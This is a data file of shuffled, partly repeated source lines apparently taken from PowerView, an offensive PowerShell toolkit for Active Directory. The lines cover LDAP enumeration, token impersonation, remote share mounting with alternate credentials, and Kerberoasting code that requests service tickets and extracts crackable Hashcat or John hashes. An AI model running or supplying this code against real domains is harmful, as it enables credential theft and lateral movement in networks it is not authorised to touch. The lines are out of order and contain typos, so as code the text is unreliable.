_raw: [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Outputs custom PSObjects with detailed information about the DNS record entry.


_raw: A byte array representing the DNS record.


_raw: Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1


_raw: Decodes a binary blob representing an Active Directory DNS entry.


_raw: Author: Michael B. Smith, Will Schroeder (@harmj0y)


_raw: Helpers that decodes a binary DNS record blob.


_raw: $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') }


_raw: # handle an array of properties to load w/ the possibility of comma-separated strings


_raw: 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl }


_raw: 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner }


_raw: 'None' { [System.DirectoryServices.SecurityMasks]::None }


_raw: 'Group' { [System.DirectoryServices.SecurityMasks]::Group }


_raw: 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl }


_raw: $Searcher.SecurityMasks = Switch ($SecurityMasks) {


_raw: $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)


_raw: # bind to the inital object using the current credentials


_raw: $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)


_raw: $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password)


_raw: # bind to the inital search object using alternate credentials


_raw: Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection"


_raw: if ($Credential -ne [Management.Automation.PSCredential]::Empty) {


_raw: Write-Verbose "[Get-DomainSearcher] search base: $SearchString"


_raw: $DN = "DC=$($TargetDomain.Replace('.', ',DC='))"


_raw: if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) {


_raw: # transform the target domain name into a distinguishedName if an ADS search base is not specified


_raw: if ($SearchBase -match "LDAP://.+/.+") {


_raw: # if we're searching the global catalog, get the path in the right format


_raw: $SearchString += $SearchBasePrefix + ','


_raw: if ($BindServer -and ($BindServer.Trim() -ne '')) {


_raw: # if there's not a specified server to bind to, try to pull a logon server from ENV variables


_raw: # otherwise, resort to Get-Domain to retrieve the current domain object


_raw: $BindServer = "$($ENV:LOGONSERVER -replace '\\','').$TargetDomain"


_raw: if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $TargetDomain) {


_raw: # see if we can grab the user DNS logon domain from environment variables


_raw: elseif ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) {


_raw: $DomainObject = Get-Domain -Credential $Credential


_raw: # if not -Domain is specified, but -Credential is, try to retrieve the current domain name with Get-Domain


_raw: $BindServer = "$($ENV:LOGONSERVER -replace '\\','').$UserDomain"


_raw: if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $UserDomain) {


_raw: if ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) {


_raw: [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]


_raw: Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU).


_raw: Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties.


_raw: Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon'


_raw: Return a searcher for all objects in testlab.local.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.


_raw: Specifies an option for examining security information of a directory object.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to for the search.


_raw: Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration").


_raw: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Specifies the properties of the output object to retrieve from the server.


_raw: Specifies an LDAP query string that is used to filter Active Directory objects.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: heavily by other LDAP/ADSI searcher functions (Verb-Domain*).


_raw: System.DirectoryServices.DirectorySearcher object. This function is used


_raw: Takes a given domain and a number of customizations and returns a


_raw: Helper used by various functions that builds a custom AD searcher object.


_raw: Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_"


_raw: New-Object -TypeName PSObject -Property $ObjectProperties


_raw: Write-Verbose "[Convert-LDAPProperty] error: $_"


_raw: $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)


_raw: [Int32]$Low  = $Temp.GetType().InvokeMember('LowPart',  [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)


_raw: [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)


_raw: elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) {


_raw: $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))


_raw: if ($Properties[$_][0] -is [System.MarshalByRefObject]) {


_raw: elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) {


_raw: if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) {


_raw: $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0


_raw: # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0


_raw: elseif ($_ -eq 'ntsecuritydescriptor') {


_raw: $ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum


_raw: $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid


_raw: $ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum


_raw: $ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum


_raw: $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value }


_raw: # convert all listed sids (i.e. if multiple are listed in sidHistory)


_raw: if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) {


_raw: $Properties.PropertyNames | ForEach-Object {


_raw: [Parameter(Mandatory = $True, ValueFromPipeline = $True)]


_raw: A custom PSObject with LDAP hashtable properties translated.


_raw: Properties object to extract out LDAP fields for display.


_raw: into a proper PSObject. Used by several of the Get-Domain* function.


_raw: Converts a set of raw LDAP properties results from ADSI/LDAP searches


_raw: Helper that converts specific LDAP property result fields and outputs


_raw: $Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType


_raw: $Out | Add-Member Noteproperty 'IdentitySID' $SID


_raw: $Out | Add-Member Noteproperty 'IdentityReference' $Name


_raw: $Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__)


_raw: $Out | Add-Member Noteproperty 'Path' $TargetPath


_raw: $Name = ConvertFrom-SID -ObjectSID $SID @ConvertArguments


_raw: $ACL.GetAccessRules($True, $True, [System.Security.Principal.SecurityIdentifier]) | ForEach-Object {


_raw: Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential


_raw: # map IPC$ to this computer if it's not already


_raw: if (-not $MappedComputers[$HostComputer]) {


_raw: $HostComputer = (New-Object System.Uri($TargetPath)).Host


_raw: if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {


_raw: if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }


_raw: ($Permissions | Where-Object {$_}) -join ','


_raw: $Permissions += $AccessMask.Keys | Where-Object { $FSR -band $_ } | ForEach-Object { $AccessMask[$_] }


_raw: $Permissions += $SimplePermissions.Keys | ForEach-Object {


_raw: # From Ansgar Wiechers at http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights


_raw: [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: A custom object with the full path and associated ACL entries.


_raw: One of more paths to enumerate ACLs for.


_raw: Get-PathAcl -Path "\\SERVER\Share\" -Credential $Cred


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Specifies the local or remote path to enumerate the ACLs for.


_raw: Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share.


_raw: the access rules for each entry into readable formats. If -Credential is passed,


_raw: Enumerates the ACL for a specified file/folder path, and translates


_raw: Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID


_raw: Enumerates the ACL for a given file path.


_raw: Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat


_raw: if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity }


_raw: $LogonToken = Invoke-UserImpersonation -Credential $Credential


_raw: if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase }


_raw: if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter }


_raw: if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }


_raw: [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]


_raw: [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.


_raw: Kerberoasts all found SPNs for the testlab.local domain using alternate credentials.


_raw: Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce


_raw: Kerberoasts all found SPNs for the testlab.local domain, outputting to JTR


_raw: Invoke-Kerberoast -Domain dev.testlab.local | fl


_raw: Kerberoasts all found SPNs for the current domain, outputting to Hashcat format (default).


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Specifies an LDAP query string that is used to filter Active Directory objects.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),


_raw: The ticket format can be specified with -OutputFormat <John/Hashcat>.


_raw: names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information.


_raw: Uses Get-DomainUser to query for user accounts with non-null service principle


_raw: Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket


_raw: Author: Will Schroeder (@harmj0y), @machosec


_raw: Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes.


_raw: $Out | Add-Member Noteproperty 'Hash' $HashFormat


_raw: # hashcat output format - $krb5tgs$23$*user$realm$test/spn*$63386d22d359fe...


_raw: $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'


_raw: # JTR jumbo output format - $krb5tgs$SPN/machine.testlab.local:63386d22d359fe...


_raw: $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))


_raw: Write-Warning "Unable to parse ticket structure for the SPN  $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"


_raw: $Out | Add-Member Noteproperty 'TicketByteHexStream' $null


_raw: Write-Warning "Error parsing ciphertext for the SPN  $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"


_raw: if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') {


_raw: # Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object


_raw: $CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4


_raw: $Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 )


_raw: # No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object


_raw: # TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1)


_raw: $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName


_raw: $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName


_raw: $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName


_raw: $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'


_raw: Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_"


_raw: $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN


_raw: if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) {


_raw: # if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3


_raw: $LogonToken = Invoke-UserImpersonation -Credential $Credential


_raw: [ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })]


_raw: [Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)]


_raw: [Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)]


_raw: Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.


_raw: Accepts one or more PowerView.User objects on the pipeline with the User parameter set.


_raw: Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.


_raw: Request kerberos service tickets for all users with non-null SPNs and output in JTR format.


_raw: Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat JTR


_raw: Request kerberos service tickets for all SPNs passed on the pipeline.


_raw: Request a kerberos service ticket for the specified SPN.


_raw: for connection to the remote domain using Invoke-UserImpersonation.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.


_raw: Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for.


_raw: Specifies the service principal name to request the ticket for.


_raw: portion of the ticket is then extracted and output in either crackable John or Hashcat


_raw: using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted


_raw: (the output from Get-DomainUser) and will request a kerberos ticket for the given SPN


_raw: This function will either take one/more SPN strings, or one/more PowerView.User objects


_raw: Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf


_raw: Author: machosec, Will Schroeder (@harmj0y)


_raw: Request the kerberos ticket for a specified service principal name (SPN).


_raw: Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted"


_raw: throw "[Invoke-RevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"


_raw: $Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();


_raw: Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle"


_raw: $Token = Invoke-UserImpersonation -Credential $Cred


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: An optional IntPtr TokenHandle returned by Invoke-UserImpersonation.


_raw: CloseHandle() is used to close the opened handle.


_raw: If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation),


_raw: This function uses RevertToSelf() to revert any impersonated tokens.


_raw: Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully impersonated"


_raw: throw "[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"


_raw: # actually impersonate the token from LogonUser()


_raw: throw "[Invoke-UserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"


_raw: $Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();


_raw: #   this is to simulate "runas.exe /netonly" functionality


_raw: # LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3


_raw: Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($UserName)"


_raw: Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work."


_raw: if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet'])) {


_raw: [Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')]


_raw: [Parameter(Mandatory = $True, ParameterSetName = 'Credential')]


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser()


_raw: An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation.


_raw: to impersonate in the current thread space.


_raw: A [Management.Automation.PSCredential] object with alternate credentials


_raw: ImpersonateLoggedOnUser() and the token handle is returned for later usage


_raw: to simulate "runas /netonly". The resulting token is then impersonated with


_raw: This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType


_raw: Creates a new "runas /netonly" type logon and impersonates the token.


_raw: Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"


_raw: Write-Verbose "$TargetPath successfully ummounted"


_raw: $Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True)


_raw: Write-Verbose "[Remove-RemoteConnection] Attempting to unmount: $TargetPath"


_raw: ForEach ($TargetComputerName in $ComputerName) {


_raw: [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]


_raw: [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Specifies the remote \\UNC\path to remove the connection for.


_raw: Specifies the system to remove a \\ComputerName\IPC$ connection for.


_raw: New-RemoteConnection. If a -Path isn't specified, a -ComputerName is required to


_raw: This function uses WNetCancelConnection2 to destroy a connection created by


_raw: Destroys a connection created by New-RemoteConnection.


_raw: Throw "[Add-RemoteConnection] error mounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"


_raw: Write-Verbose "$TargetPath successfully mounted"


_raw: $Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCredential().Password, $Credential.UserName, 4)


_raw: Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath"


_raw: @('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection  -Credential $Cred


_raw: Add-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' -Credential $Cred


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Specifies the remote \\UNC\path to add the connection for.


_raw: Specifies the system to add a \\ComputerName\IPC$ connection for.


_raw: To destroy the connection, use Remove-RemoteConnection with the same specified \\UNC\share path


_raw: -Credential object. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$.


_raw: to the specified remote -Path (\\UNC\share) with the alternate credentials specified in the


_raw: This function uses WNetAddConnection2W to make a 'temporary' (i.e. not saved) connection


_raw: specified, a -ComputerName is required to pseudo-mount IPC$.


_raw: credential object, allowing for access of remote resources. If a -Path isn't


_raw: Pseudo "mounts" a connection to a remote path using the specified


_raw: Write-Warning "[Get-PrincipalContext] Error creating binding for object ('$Identity') context : $_"


_raw: $Out | Add-Member Noteproperty 'Identity' $ObjectIdentity


_raw: $Out | Add-Member Noteproperty 'Context' $Context


_raw: $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)


_raw: $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $DomainName, $Credential.UserName, $Credential.GetNetworkCredential().Password)


_raw: $DomainName = Get-Domain | Select-Object -ExpandProperty Name


_raw: Write-Verbose '[Get-PrincipalContext] Using alternate credentials'


_raw: $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget)


_raw: $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget, $Credential.UserName, $Credential.GetNetworkCredential().Password)


_raw: Write-Verbose "[Get-PrincipalContext] Binding to domain '$Domain'"


_raw: Write-Verbose "[Get-PrincipalContext] Binding to domain '$ConnectTarget'"


_raw: $ConnectTarget = $ConvertedIdentity.SubString(0, $ConvertedIdentity.IndexOf('/'))


_raw: $ConvertedIdentity = $Identity | Convert-ADName -OutputType Canonical


_raw: if ($PSBoundParameters['Domain'] -or ($Identity -match '.+\\.+')) {


_raw: [Parameter(Position = 0, Mandatory = $True)]


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Specifies the domain to use to search for user/group principals, defaults to the current domain.


_raw: A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),


_raw: Helper to take an Identity and return a DirectoryServices.AccountManagement.PrincipalContext


_raw: if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {


_raw: ForEach ($UACValue in $UACValues.GetEnumerator()) {


_raw: $ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary


_raw: $UACValues = New-Object System.Collections.Specialized.OrderedDictionary


_raw: # values from https://support.microsoft.com/en-us/kb/305144


_raw: [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: An ordered dictionary with the converted UAC fields.


_raw: Accepts an integer representing a UAC binary blob.


_raw: Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll


_raw: Get-DomainUser harmj0y | ConvertFrom-UACValue


_raw: Switch. Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set.


_raw: Specifies the integer UAC value to convert.


_raw: set are displayed- the -ShowAll switch will display all values with


_raw: dictionary with each bitwise value broken out. By default only values


_raw: Control (UAC) binary blob and will covert it to an ordered


_raw: This function will take an integer that represents a User Account


_raw: Converts a UAC int value to human readable form.


_raw: Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerException.Message)"


_raw: Invoke-Method $Translate 'Get' ($ADSOutputType)


_raw: $Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity)


_raw: # 8 = Unknown name type -> let the server do the work for us


_raw: Set-Property $Translate 'ChaseReferral' (0x60)


_raw: Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_"


_raw: $Null = Invoke-Method $Translate 'Init' (


_raw: Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_"


_raw: $Translate = New-Object -ComObject NameTranslate


_raw: if ($TargetIdentity -match "^[A-Za-z]+\\[A-Za-z ]+") {


_raw: if (-not $PSBoundParameters['OutputType']) {


_raw: ForEach ($TargetIdentity in $Identity) {


_raw: # if no domain or server is specified, default to GC initialization


_raw: [Void] $Object.GetType().InvokeMember($Property, 'SetProperty', $NULL, $Object, $Parameters)


_raw: function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) {


_raw: $Object.GetType().InvokeMember($Property, 'GetProperty', $NULL, $Object, $NULL)


_raw: function Get-Property([__ComObject] $Object, [String] $Property) {


_raw: $Output = $Object.GetType().InvokeMember($Method, 'InvokeMethod', $NULL, $Object, $Parameters)


_raw: function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) {


_raw: # accessor functions from Bill Stewart to simplify calls to NameTranslate


_raw: 'SPN'               =   11 # HTTP/kairomac.contoso.com


_raw: 'CanonicalEx'       =   10 # fabrikam.com/Users/Phineas Flynn


_raw: 'UPN'               =   9  # REDACTED_EMAIL


_raw: 'Unknown'           =   8  # unknown type - let the server do translation


_raw: 'EnterpriseSimple'  =   6  # REDACTED_EMAIL


_raw: 'DomainSimple'      =   5  # REDACTED_EMAIL


_raw: 'NT4'               =   3  # fabrikam\pflynn


_raw: 'Canonical'         =   2  # fabrikam.com/Engineers/Phineas Flynn


_raw: 'DN'                =   1  # CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com


_raw: [ValidateSet('DN', 'Canonical', 'NT4', 'Display', 'DomainSimple', 'EnterpriseSimple', 'GUID', 'Unknown', 'UPN', 'CanonicalEx', 'SPN')]


_raw: [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Outputs a string representing the converted name.


_raw: Accepts one or more objects name strings on the pipeline.


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local


_raw: "TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical


_raw: Specifies an alternate credential to use for the translation.


_raw: Specifies an Active Directory server (domain controller) to bind to for the translation.


_raw: Specifies the domain to use for the translation, defaults to the current domain.


_raw: SPN               service principal name format; e.g. 'HTTP/kairomac.contoso.com'


_raw: CanonicalEx       extended canonical name format, e.g. 'fabrikam.com/Users/Phineas Flynn'


_raw: UPN               user principal name; e.g., 'REDACTED_EMAIL'


_raw: EnterpriseSimple  simple enterprise name format, e.g. 'REDACTED_EMAIL'


_raw: DomainSimple      simple domain name format, e.g. 'REDACTED_EMAIL'


_raw: Display           display name, e.g. 'pflynn'


_raw: NT4               domain\username; e.g., 'fabrikam\pflynn'


_raw: Canonical         canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn'


_raw: DN                short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com'


_raw: Specifies the output name type you want to convert to, which must be one of the following:


_raw: CanonicalEx       extended canonical name format


_raw: Specifies the Active Directory object name to translate, of the following form:


_raw: and translates Active Directory names between various formats using the NameTranslate COM object.


_raw: This function is heavily based on Bill Stewart's code and Pasquale Lantella's code (in LINK)


_raw: Modifications: Will Schroeder (@harmj0y)


_raw: Converts Active Directory object names between a variety of formats.


_raw: Write-Verbose "[ConvertFrom-SID] Error converting SID '$TargetSid' : $_"


_raw: Convert-ADName -Identity $TargetSid @ADNameArguments


_raw: 'S-1-5-32-580'  { 'BUILTIN\Access Control Assistance Operators' }


_raw: 'S-1-5-32-579'  { 'BUILTIN\Access Control Assistance Operators' }


_raw: 'S-1-5-32-578'  { 'BUILTIN\Hyper-V Administrators' }


_raw: 'S-1-5-32-577'  { 'BUILTIN\RDS Management Servers' }


_raw: 'S-1-5-32-576'  { 'BUILTIN\RDS Endpoint Servers' }


_raw: 'S-1-5-32-575'  { 'BUILTIN\RDS Remote Access Servers' }


_raw: 'S-1-5-32-574'  { 'BUILTIN\Certificate Service DCOM Access' }


_raw: 'S-1-5-32-573'  { 'BUILTIN\Event Log Readers' }


_raw: 'S-1-5-32-569'  { 'BUILTIN\Cryptographic Operators' }


_raw: 'S-1-5-32-562'  { 'BUILTIN\Distributed COM Users' }


_raw: 'S-1-5-32-561'  { 'BUILTIN\Terminal Server License Servers' }


_raw: 'S-1-5-32-560'  { 'BUILTIN\Windows Authorization Access Group' }


_raw: 'S-1-5-32-559'  { 'BUILTIN\Performance Log Users' }


_raw: 'S-1-5-32-558'  { 'BUILTIN\Performance Monitor Users' }


_raw: 'S-1-5-32-557'  { 'BUILTIN\Incoming Forest Trust Builders' }


_raw: 'S-1-5-32-556'  { 'BUILTIN\Network Configuration Operators' }


_raw: 'S-1-5-32-555'  { 'BUILTIN\Remote Desktop Users' }


_raw: 'S-1-5-32-554'  { 'BUILTIN\Pre-Windows 2000 Compatible Access' }


_raw: 'S-1-5-32-552'  { 'BUILTIN\Replicators' }


